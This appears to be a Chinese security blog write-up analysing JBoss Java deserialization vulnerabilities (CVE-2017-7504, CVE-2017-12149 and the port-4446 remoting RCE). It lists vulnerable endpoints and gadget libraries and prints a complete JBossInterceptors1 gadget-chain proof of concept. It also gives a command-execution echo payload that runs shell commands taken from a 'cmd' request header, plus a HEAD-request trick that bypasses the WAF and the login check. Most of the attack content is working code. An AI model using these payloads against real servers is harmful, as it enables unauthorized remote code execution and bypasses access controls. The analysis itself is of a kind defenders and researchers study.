
实战遇到了Jboss 反序列化,发现之前写的太烂了,重新梳理了一下
CVE-2017-7504
影响版本:JBoss AS 4.x及之前版本
下载地址:https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA
安装成功后需要修改jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml
,设置远程访问

将目录jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/classes/org
打包
执行命令jar cvf jbossmq-httpil.jar ./org
,然后导入即可
漏洞分析
看到jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml

存在一个 HTTPServerILServlet 的 servlet,跟进到类org.jboss.mq.il.http.servlet.HTTPServerILServlet

POST传递的话,会触发 processRequest 方法,跟进

直接 readObject 进行反序列化
存在漏洞的路径为:
1
| /jbossmq-httpil/HTTPServerILServlet/*
|
CVE-2017-12149
影响版本:5.x、6.x
下载地址:https://jbossas.jboss.org/downloads/,我这里下载的版本为JBoss AS 6.1.0.Final
需要将jboss-6.1.0.Final/server/all/deploy/httpha-invoker.sar/invoker.war/WEB-INF/classes/org
目录打包
漏洞分析
漏洞触发点在org.jboss.invocation.http.servlet.ReadOnlyAccessFilter#doFilter
方法

可以看出它从POST中获取数据,然后调用readObject()方法对数据流进行反序列化
在web.xml中可以看到路径为/readonly/*

在org.jboss.invocation.http.servlet.InvokerServlet#processRequest
同样存在反序列化点

发现doGet和doPost都会调用该方法

依照web.xml,得出存在漏洞的路径为:
1 2 3 4 5 6
| /invoker/readonly/* /invoker/JMXInvokerServlet/* /invoker/EJBInvokerServlet/* /invoker/JMXInvokerHAServlet/* /invoker/EJBInvokerHAServlet/* /invoker/restricted/JMXInvokerServlet/* (需要登录)
|
可利用的链(注意版本):
1 2 3
| commons-collections-3.1.jar commons-beanutils-1.8.0.jar hibernate-core-3.6.6.Final.jar
|
漏洞利用
访问/invoker/readonly
,发现http响应码 500,说明存在漏洞

使用工具:https://github.com/yunxu1/jboss-_CVE-2017-12149,即可rce

JBossInterceptors1
ysoserial上面有一条 JBoss 自带的反序列化链,poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.jboss.interceptor.builder.InterceptionModelBuilder; import org.jboss.interceptor.builder.MethodReference; import org.jboss.interceptor.proxy.DefaultInvocationContextFactory; import org.jboss.interceptor.proxy.InterceptorMethodHandler; import org.jboss.interceptor.reader.ClassMetadataInterceptorReference; import org.jboss.interceptor.reader.DefaultMethodMetadata; import org.jboss.interceptor.reader.ReflectiveClassMetadata; import org.jboss.interceptor.reader.SimpleInterceptorMetadata; import org.jboss.interceptor.spi.instance.InterceptorInstantiator; import org.jboss.interceptor.spi.metadata.InterceptorReference; import org.jboss.interceptor.spi.metadata.MethodMetadata; import org.jboss.interceptor.spi.model.InterceptionModel; import org.jboss.interceptor.spi.model.InterceptionType; import tools.Evil;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.*;
public class JBossInterceptors1 { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } public static void main(String[] args) throws Exception{ InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>(); s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); defaultMethodMetadataConstructor.setAccessible(true); MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList(); list.add(methodMetadata); Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap(); map.put("ysoserial", "ysoserial");
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()}); setFieldValue(obj, "_name", "1"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return obj; } }; InterceptorMethodHandler exp = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(exp); out.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
简单看一下
看到org.jboss.interceptor.proxy.InterceptorMethodHandler
的初始化

我们可以构造一个createFor方法,这样就可以存放到 interceptorHandlerInstances 当中
1 2 3 4 5
| InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { public Object createFor(InterceptorReference paramInterceptorReference) { return obj; } };
|
看到它的 readObject 方法

执行了 executeInterception 方法,并且 isProxy()为true,跟进

主要就是执行了以下代码,对 SimpleInterceptionChain 进行初始化
1 2 3 4 5 6 7
| List<? extends InterceptorMetadata<?>> interceptorList = interceptionModel.getInterceptors(interceptionType, thisMethod); Collection<InterceptorInvocation<?>> interceptorInvocations = new ArrayList<InterceptorInvocation<?>>(); for (InterceptorMetadata interceptorReference : interceptorList) { interceptorInvocations.add(new InterceptorInvocation(interceptorHandlerInstances.get(interceptorReference), interceptorReference, interceptionType)); } SimpleInterceptionChain chain = new SimpleInterceptionChain(interceptorInvocations, interceptionType, isProxy() ? targetInstance : self, isProxy() ? thisMethod : proceedingMethod);
|
继续往下,走到org.jboss.interceptor.proxy.SimpleInterceptionChain#invokeNextInterceptor

最后调用到了org.jboss.interceptor.proxy.InterceptorInvocation#invoke

可以看到反射调用了 instance 类的 javaMethod 方法,并且这些都是我们可控的,导致任意方法调用
调用栈如下:
1 2 3 4 5 6 7 8 9 10
| getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:74, InterceptorInvocation$InterceptorMethodInvocation (org.jboss.interceptor.proxy) invokeNextInterceptor:87, SimpleInterceptionChain (org.jboss.interceptor.proxy) executeInterception:133, InterceptorMethodHandler (org.jboss.interceptor.proxy) readObject:158, InterceptorMethodHandler (org.jboss.interceptor.proxy)
|
回显构造
首先看一下写进去的/tmp/RunCheckConfig.class
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import java.io.BufferedReader; import java.io.File; import java.io.InputStreamReader;
public class RunCheckConfig { public RunCheckConfig(String paramcmd) throws Exception { StringBuffer localStringBuffer = new StringBuffer(); File file = new File("/tmp/RunCheckConfig.class"); if (file.exists()) { localStringBuffer.append("[L291919]\r\n"); } else { localStringBuffer.append("[W291013]\r\n"); }
Process localProcess = Runtime.getRuntime().exec(paramcmd); BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(localProcess.getInputStream()));
String str1; while((str1 = localBufferedReader.readLine()) != null) { localStringBuffer.append(str1).append("\n"); }
String str2 = localStringBuffer.toString(); Exception localException = new Exception(str2); throw localException; } }
|
由于这个漏洞会将报错结果显示出来,这里可以将命令执行的结果添加到报错信息中,就可以得到命令执行的结果了,但这个方法并不通用,我们需要一个更好的方法
我们直接看到Thread.currentThread()
,即当前线程

遍历线程组可以获取到org.apache.catalina.connector.Request
,然后通过 getResponse() 方法得到 Response,最后 getWriter() 方法回显,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner;
public class JbossEcho extends AbstractTranslet{ static { try { Thread thread = Thread.currentThread(); Field threadLocals = Thread.class.getDeclaredField("threadLocals"); threadLocals.setAccessible(true); Object threadLocalMap = threadLocals.get(thread);
Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClazz.getDeclaredField("table"); tableField.setAccessible(true); Object[] Entries = (Object[]) tableField.get(threadLocalMap);
Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); Field entryValueField = entryClass.getDeclaredField("value"); entryValueField.setAccessible(true);
for (Object entry : Entries) { if (entry != null) { try { Object httpConnection = entryValueField.get(entry); if (httpConnection != null) { if (httpConnection.getClass().getName().equals("org.apache.catalina.connector.Request")) { org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)httpConnection; org.apache.catalina.connector.Response response = request.getResponse(); response.setStatus(200); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", request.getHeader("cmd")} : new String[]{"cmd.exe", "/c", request.getHeader("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); response.getWriter().flush(); } } } catch (IllegalAccessException e) { } } } } catch (Exception e) { } }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } }
|

可参考文章:
Wildfly中间件内存马分析
Jboss漏洞回显
绕过waf
首先/invoker/readonly
路由是一个filter,所以任意的请求模式都可以触发
但如果waf匹配了路由呢,这里注意到一个特殊的路由/invoker/restricted/JMXInvokerServlet
,正常访问是返回401, 在web.xml中有对/restricted/*
路由做验证,必须在登录之后才能触发

发现 JBOSS 的 security-constraint 只对 GET/POST 请求模式进行验证,如果非 GET/POST 还是能够绕过鉴权成功访问,但是因为这个路由是Servlet不是Filter,所以不能够随意修改请求模式,请求模式必须是RFC 2068里所定义的GET/POST/PUT/DELETE/HEAD
等

可以看到 HEAD 头会调用doGet,而 GET 也会触发反序列,所以可以绕过登录实现反序列化
但是由于是NobodyResponse,所以我们需要在header头实现回显,改为:
1 2
| response.addHeader("echo",output); response.flushBuffer();
|

利用成功
参考:
Jboss渗透合集
JBOSS CVE-2017-12149 WAF绕过之旅
一次老版本jboss反序列化漏洞的利用分析
JBoss EAP/AS <= 6.* RCE
这个洞是在国外Alligator Conference 2019会议上的一个议题,PPT:https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf
议题中讲到了 JBoss 的4446端口反序列化RCE,和一条 jndi 注入的 gadget
4446:JBoss Remoting Unified Invoker
3873:EJB Remoting Connector
具体的漏洞分析师傅们已经写的很好了,就不多废话了:
JBoss EAP/AS <= 6.* RCE及rpc回显
JBoss Remoting Connector 4446端口反序列化分析